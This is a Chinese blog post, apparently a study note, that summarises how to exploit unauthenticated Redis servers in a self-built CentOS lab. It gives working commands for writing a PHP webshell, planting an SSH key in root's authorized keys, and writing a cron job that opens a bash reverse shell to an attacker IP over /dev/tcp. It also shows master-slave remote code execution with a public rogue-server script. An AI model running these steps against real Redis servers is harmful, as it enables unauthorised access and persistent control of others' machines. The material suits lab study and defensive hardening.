Redis未授权利用方式汇总

Redis未授权利用方式汇总

Gat1ta 243 2022-03-01

Redis未授权经常会听到,但是从来没有自己实践过,今天来总结一下Redis未授权的几种利用方式。

环境搭建

为了方便各种利用方式的演示,这里就不使用靶场的环境了,直接手动搭建一个环境,中间遇见了点坑简单记录一下。
首先最小化安装一个Centos7系统,记住这里是最小化安装,如果安装了一下开发工具或者其他的什么东西,有的会自动安装一个redis,这就会出现一堆莫名其妙的问题。

gcc安装

安装完系统配置好IP地址以及yum之后,首先来安装gcc,安装gcc是为了一会编译安装redis。
安装gcc用下面这条命令。

yum -y install gcc gcc-c++ kernel-devel

wget安装

然后通过yum安装wget,用于一会下载redis源码:

yum -y install wget

redis安装

安装完上面这两个就可以安装redis了,首先下载源码到本地并解压:

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -zxvf redis-3.2.0.tar.gz
cd redis-3.2.0

上面的步骤完成后就要开始编译了,直接输入make指令就可以了:

make

如果没有报错到这里就安装成功了,但是大概率会出现一个错误:

jemalloc/jemalloc.h:没有那个文件或目录

通过以下方式得以解决:
image.png

Redis配置

到这里redis安装已经成功了,接下来需要配置一下redis的配置文件。
打开redis.conf配置文件,在bind 127.0.0.1前面加上#号,然后将protected-mode设为no。
然后在src目录中运行以下命令启动redis:

./redis-server ../redis.conf

到目前位置,本地已经可以连接redis了,但是如果想在其他机器连接则还需要关闭防火墙:

systemctl stop firewalld.service
systemctl disable firewalld.service

到此位置,redis的配置算是结束了。

web环境搭建

安装完redis还需要搭建一个web环境,这里直接用的小皮面板:

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

Redis未授权之写WebShell

利用条件

1.知道web目录的绝对路径
2.redis有web目录的写入权限

利用过程

首先连接redis:

redis-cli -h hostaddr

然后通过config set dir 命令将目录设置为web根目录,然后写入一个文件:

config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename 1.php
set xxx "<?php phpinfo();?>"
save

然后在浏览器中访问我们刚才写入的文件:
image.png
可以看到成功访问phpinfo。

Redis未授权之写SSH密钥

SSH一般使用密码登陆,但是也可以使用密钥登陆。
密钥形式登录的原理是:利用密钥生成器制作一对密钥——一只公钥和一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过 SSH 暴力破解你的密码来远程登录到系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。
详细请参考https://www.runoob.com/w3cnote/set-ssh-login-key.html

利用条件

1.Redis服务使用ROOT账号登陆。
2.服务器开放了SSH服务,并且允许使用密钥登陆。

利用过程

首先在kali上生成密钥对:
image.png
然后将公钥写入1.txt:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

image.png
然后将1.txt中的公钥通过redis-cli读入目标主机的缓冲区:

cat /root/.ssh/1.txt | ./redis-cli -h 192.168.0.111 -x set xxx

image.png
然后使用redis-cli将公钥写入目标主机.ssh路径下:
image.png
接下来直接使用ssh登陆就好了:
image.png

参考链接

https://www.cnblogs.com/hei-zi/p/14002135.html
https://www.runoob.com/w3cnote/set-ssh-login-key.html
https://www.cnblogs.com/zhouhaibing/p/7679706.html

Redis未授权之计划任务反弹Shell

利用条件

服务器开启了crontab

利用过程

首先在vps上用nc监听一个端口:
image.png
然后使用redis像/var/spool/cron/写入执行计划:

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"
save

这里需要注意一下,写计划任务的时候,是要在/var/spool/cron/目录下创建一个文件,在这个文件中写入反弹shell的命令。这个文件的文件名需要是当前服务器中存在的用户名的一个,否则将不成功。最好用当前用户名来命名计划任务文件名。
写入完成后,稍等一会会发现,已经收到了目标机器反弹回来的shell:

image.png

Redis未授权之主从RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

原理参考

https://paper.seebug.org/975/
https://www.cnblogs.com/paperpen/p/11178751.html

利用过程

首先用docker下载一个redis5.0:

docker search redis5.0    //查找镜像
docker pull damonevking/redis5.0   //拉取下图第三个镜像

运行容器:

docker run -p 6379:6379 -d damonevking/redis5.0 redis-server   //映射端口并运行容器

然后在kali上下载漏洞利用脚本:
git clone https://github.com/Ridter/redis-rce.git //下载漏洞利用脚本
注意,这里少一个.so的文件,到https://github.com/n0b0dyCN/redis-rogue-server下载并放到和redis-rce.py同一目录下
然后运行脚本:

python3 redis-rce.py -r 172.16.3.153(目标ip) -L 172.16.3.49(自己的vps) -f exp.so   

image.png

中间会让选择,i是一个交互式shell,r为反弹shell.